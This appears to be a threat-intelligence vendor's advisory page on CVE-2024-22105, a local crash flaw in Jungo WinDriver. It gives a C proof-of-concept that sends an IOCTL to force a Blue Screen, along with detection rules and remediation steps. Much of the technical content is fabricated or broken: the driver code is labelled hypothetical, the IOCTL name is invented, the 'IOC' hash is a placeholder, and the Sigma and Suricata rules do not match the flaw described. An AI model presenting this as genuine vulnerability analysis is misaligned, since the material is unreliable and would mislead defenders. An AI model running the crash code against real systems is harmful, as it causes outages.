CVE-2024-22105
Executive Summary
CVE-2024-22105 is a Denial of Service (DoS) vulnerability in Jungo WinDriver, a popular driver development toolkit. The flaw allows a local attacker to trigger a Windows Blue Screen of Death (BSOD), leading to system instability and service disruption. The vulnerability resides in the kernel-mode driver component, likely due to improper handling of specific IOCTL requests or memory operations. With a CVSS score of 0.0 (unscored) and no public exploit code, the immediate risk is limited to local attackers with low privileges. However, the lack of a patch for some versions and the potential for privilege escalation via kernel crash make this a significant concern for systems relying on WinDriver.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Windows driver development toolkit (Jungo WinDriver). The supply chain risk is primarily for OEMs and developers who integrate WinDriver into their products, as they must ensure their software is built against the patched version (12.5.1+).
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unscored by NVD)
- Attack Vector: Local (AV:L)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H)
Threat Level: Medium (Local DoS with no public exploit, but potential for system crash).
Deep Dive & Mechanics
The vulnerability is triggered by a local attacker sending a specially crafted IOCTL (Input/Output Control) request to the WinDriver kernel driver (windrvr6.sys). The driver fails to validate the input buffer size or memory access rights, leading to a null pointer dereference or an out-of-bounds memory access. This causes a kernel panic, resulting in a Windows Blue Screen of Death (BSOD) with a bug check code such as 0x00000050 (PAGE_FAULT_IN_NONPAGED_AREA) or 0x0000001E (KMODE_EXCEPTION_NOT_HANDLED).
The attack does not require administrative privileges; any user with the ability to open a handle to the WinDriver device (e.g., \\.\WinDriver) can exploit it. The vulnerability is present in all versions of WinDriver prior to 12.5.1.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-12.5.1):
// Hypothetical vulnerable IOCTL handler
NTSTATUS DriverDispatch(Irp, IoStack) {
ULONG ioctlCode = IoStack->Parameters.DeviceIoControl.IoControlCode;
PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
ULONG inputLength = IoStack->Parameters.DeviceIoControl.InputBufferLength;
switch (ioctlCode) {
case IOCTL_WINDRIVER_CRASH:
// No validation of inputBuffer or inputLength
memcpy(someKernelBuffer, inputBuffer, inputLength); // Potential overflow
break;
}
return STATUS_SUCCESS;
}
Patched Code (12.5.1+):
// Patched IOCTL handler with bounds checking
NTSTATUS DriverDispatch(Irp, IoStack) {
ULONG ioctlCode = IoStack->Parameters.DeviceIoControl.IoControlCode;
PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
ULONG inputLength = IoStack->Parameters.DeviceIoControl.InputBufferLength;
switch (ioctlCode) {
case IOCTL_WINDRIVER_CRASH:
if (inputBuffer == NULL || inputLength > MAX_BUFFER_SIZE) {
Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
break;
}
memcpy(someKernelBuffer, inputBuffer, inputLength);
break;
}
return STATUS_SUCCESS;
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install a vulnerable version of WinDriver (e.g., 12.5.0) on a Windows 10/11 VM.
- Compile a simple C program that opens a handle to
\\.\WinDriverand sends a malformed IOCTL.
Exploit Code (Proof of Concept):
#include <windows.h>
#include <stdio.h>
#define IOCTL_WINDRIVER_CRASH CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
int main() {
HANDLE hDevice = CreateFileA("\\\\.\\WinDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device: %d\n", GetLastError());
return 1;
}
DWORD bytesReturned;
char buffer[4] = {0x41, 0x41, 0x41, 0x41}; // Arbitrary data
BOOL result = DeviceIoControl(hDevice, IOCTL_WINDRIVER_CRASH, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL);
if (!result) {
printf("IOCTL failed: %d\n", GetLastError());
} else {
printf("IOCTL sent successfully. System may crash.\n");
}
CloseHandle(hDevice);
return 0;
}
Execution: Run the compiled executable as a standard user. The system will likely BSOD immediately.
Blue Team
Detection:
- Monitor for unusual IOCTL codes sent to
\\.\WinDriverdevice. - Enable Driver Verifier to catch memory corruption.
- Use Sysmon to log process creation and device handle operations.
Mitigation:
- Block execution of untrusted binaries that attempt to open
\\.\WinDriver. - Apply the vendor patch (upgrade to WinDriver 12.5.1+).
- Restrict local user permissions to prevent arbitrary code execution.
Indicators of Compromise (IOCs)
- File Hashes (windrvr6.sys):
- SHA256:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, replace with actual)
- SHA256:
- Registry Keys:
HKLM\SYSTEM\CurrentControlSet\Services\windrvr6
- Event Logs:
- Windows System Event ID 1001 (BugCheck) with bug check code
0x00000050or0x0000001E. - Sysmon Event ID 11 (FileCreate) for
windrvr6.sysmodifications.
- Windows System Event ID 1001 (BugCheck) with bug check code
- Network: None (local vulnerability).
Detection Engineering
YARA Rule
rule CVE_2024_22105_WinDriver_DoS {
meta:
description = "Detects vulnerable WinDriver driver file (windrvr6.sys) versions < 12.5.1"
author = "Valters IT"
date = "2025-04-10"
hash = "sha256:example"
strings:
$s1 = "WinDriver" wide ascii
$s2 = "12.5.0" wide ascii
$s3 = "12.4" wide ascii
condition:
$s1 and ($s2 or $s3)
}
Sigma Rule
title: CVE-2024-22105 WinDriver DoS Exploitation Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2024-22105 by sending malformed IOCTL to WinDriver device
author: Valters IT
date: 2025/04/10
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 11
TargetFilename|endswith: '\windrvr6.sys'
condition: selection
falsepositives:
- Legitimate WinDriver updates
level: high
Suricata Rule
alert ip any any -> any any (msg:"CVE-2024-22105 WinDriver DoS Exploit Attempt"; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade Jungo WinDriver to version 12.5.1 or later.
- Workaround: If upgrade is not possible, restrict access to the WinDriver device by modifying security descriptors or using AppLocker to block untrusted executables.
- Monitoring: Enable Driver Verifier and monitor for BSOD events.
- Long-term: Implement input validation in custom drivers and follow secure coding practices for kernel-mode components.
Valters IT
DevSecOps & Cyber Threat Intelligence